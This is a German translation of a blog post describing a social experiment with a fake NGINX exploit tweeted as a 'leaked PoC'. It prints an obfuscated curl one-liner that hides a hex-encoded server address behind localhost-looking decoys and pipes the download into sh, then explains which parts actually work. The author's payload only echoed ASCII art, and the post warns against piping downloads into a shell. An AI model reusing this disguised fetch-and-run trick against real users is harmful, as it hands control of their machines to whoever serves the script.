{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Erfolg des sozialen Experiments mit einem gef\u00e4lschten Exploit f\u00fcr nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Anmerkung des \u00dcbersetzers.<\/b>: Autor<\/a><\/noindex> In seiner urspr\u00fcnglichen Anmerkung, ver\u00f6ffentlicht am 1. Juni, entschloss sich, ein Experiment in der Gruppe von Interessierten an Informationssicherheit durchzuf\u00fchren. Zu diesem Zweck bereitete er einen gef\u00e4lschten Exploit f\u00fcr eine nicht offengelegte Schwachstelle im Webserver vor und ver\u00f6ffentlichte ihn auf seinem Twitter. Seine Vermutungen \u2014 sofort von Fachleuten enttarnt zu werden, die den offensichtlichen Betrug im Code sehen w\u00fcrden \u2014 bewahrheiteten sich nicht nur nicht\u2026 Sie \u00fcbertrafen alle Erwartungen, zwar in die entgegengesetzte Richtung: Der Tweet erhielt enorme Unterst\u00fctzung von zahlreichen Menschen, die seinen Inhalt nicht \u00fcberpr\u00fcften.<\/i><\/p>\n

\"Erfolg
\n
\nTL;DR: Verwenden Sie auf keinen Fall das File-Pipelining in sh oder bash. Das ist eine hervorragende M\u00f6glichkeit, die Kontrolle \u00fcber einen Computer zu verlieren.<\/b><\/a><\/noindex><\/p>\n

Ich m\u00f6chte eine kleine Geschichte \u00fcber einen humorvollen PoC-Exploit teilen, der am 31. Mai erstellt wurde. Er erschien umgehend als Antwort auf die Nachricht von Alisa Esage Schewtschenko<\/a><\/noindex>, Mitglied der Zero Day Initiative<\/a><\/noindex> (ZDI), dass bald Informationen \u00fcber eine Schwachstelle in NGINX ver\u00f6ffentlicht werden, die zu RCE (Remote Code Execution) f\u00fchrt. Da NGINX die Grundlage vieler Webseiten bildet, sollte die Nachricht wie eine Bombe einschlagen. Aber aufgrund von Verz\u00f6gerungen im Prozess der \u201everantwortungsvollen Offenlegung\u201c waren die Details des Vorfalls nicht bekannt \u2014 dies ist das Standardverfahren der ZDI.<\/p>\n

\"Erfolg
\nTweet<\/a><\/noindex> \u00fcber die Offenlegung der Schwachstelle in NGINX<\/i><\/p>\n

Nachdem ich an einer neuen Technik zur Obfuskation in curl gearbeitet hatte, zitierte ich den urspr\u00fcnglichen Tweet und \"leckten den funktionierenden PoC\", der aus einer einzigen Codezeile bestand, die angeblich die entdeckte Schwachstelle ausnutzte. Nat\u00fcrlich war das kompletter Unsinn. Ich dachte, ich w\u00fcrde sofort entlarvt werden, und im besten Fall w\u00fcrde ich ein paar Retweets bekommen (na gut).<\/p>\n

\"Erfolg
\nTweet<\/a><\/noindex> mit gef\u00e4lschtem Exploit<\/i><\/p>\n

Aber ich konnte mir nicht vorstellen, was als N\u00e4chstes geschah. Die Popularit\u00e4t meines Tweets schoss in die H\u00f6he. Erstaunlicherweise hat bis jetzt (15:00 MSK am 1. Juni) kaum jemand realisiert, dass es ein Fake ist. Viele retweeteten ihn ohne jede \u00dcberpr\u00fcfung (ganz zu schweigen davon, dass sie sich die sch\u00f6ne ASCII-Grafik, die er ausgibt, angesehen haben).<\/p>\n

\"Erfolg
\nSchauen Sie sich nur diese Sch\u00f6nheit an!<\/i><\/p>\n

Obwohl all diese Zyklen und Farben bemerkenswert sind, ist es offensichtlich, dass die Menschen den Code auf ihrem eigenen Rechner ausgef\u00fchrt haben, um sie zu sehen. Gl\u00fccklicherweise funktionieren Browser \u00e4hnlich, und in Anbetracht der Tatsache, dass ich keine rechtlichen Probleme brauche, machte der Code, der in meiner Website eingebettet war, lediglich Echo-Aufrufe, ohne zu versuchen, irgendeinen weiteren Code zu installieren oder auszuf\u00fchren.<\/p>\n

Ein kleiner Einschub: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, ich und andere Jungs aus dem Team Thugcrowd<\/a><\/noindex> spielen schon eine Weile mit verschiedenen M\u00f6glichkeiten zur Obfuskation von cURL-Befehlen, weil es Spa\u00df macht\u2026 und wir sind Geeks. netspooky und dnz haben einige neue Methoden entdeckt, die mir \u00e4u\u00dferst vielversprechend erschienen. Ich habe mich dem Spa\u00df angeschlossen und versucht, IP-dezimale Umwandlungen zu dem Trickset hinzuzuf\u00fcgen. Es stellte sich heraus, dass IPs auch in ein hexadezimales Format umgewandelt werden k\u00f6nnen. Dar\u00fcber hinaus \u201efressen\u201c cURL und die meisten anderen NIX-Tools bereitwillig hexadezimale IPs! Daher musste man nur eine \u00fcberzeugende und sicher aussehende Kommandozeile erstellen. Letztendlich entschied ich mich f\u00fcr diese:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Sozio-elektronische Ingenieurskunst (S.E.E.) \u2013 mehr als nur Phishing<\/h2>\n
\nSicherheit und Vertrautheit waren der Hauptbestandteil dieses Experiments. Ich denke, genau das f\u00fchrte zu seinem Erfolg. Die Kommandozeile implizierte eindeutig Sicherheit, indem sie auf \u201e127.0.0.1\u201c (allseits bekannt als localhost) verwies. localhost gilt als sicher und die Daten darauf verlassen nie Ihren Computer.<\/p>\n
Vertrautheit war der zweite Schl\u00fcsselkomponenten von S.E.E. des Experiments. Da das Zielpublikum haupts\u00e4chlich aus Menschen bestand, die mit den Grundlagen der Computersicherheit vertraut sind, war es wichtig, den Code so zu gestalten, dass seine Teile bekannt und vertraut (und damit sicher) wirken. Die \u00dcbernahme von Elementen alter Exploit-Konzepte und deren ungew\u00f6hnliche Kombination erwies sich als sehr erfolgreich.<\/p>\n
Im Folgenden finden Sie eine detaillierte Analyse des Einzeilers. Alles in dieser Liste hat eine kosmetische Natur<\/b>, und f\u00fcr seine tats\u00e4chliche Funktion ist nahezu nichts erforderlich.<\/i><\/p>\n
Welche Komponenten sind wirklich notwendig? Dies sind -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> und der Webserver selbst. Der Webserver enthielt keine sch\u00e4dlichen Anweisungen, sondern \u00fcbermittelte einfach ASCII-Grafiken mit Hilfe von Befehlen echo<\/code> im Skript, das sich in index.html<\/code>befand. Als der Benutzer eine Zeichenfolge mit |sh<\/code> in der Mitte eingab, index.html<\/code> wurde sie geladen und ausgef\u00fchrt. Gl\u00fccklicherweise hatten die W\u00e4chter des Webservers keine b\u00f6sen Absichten.<\/p>\n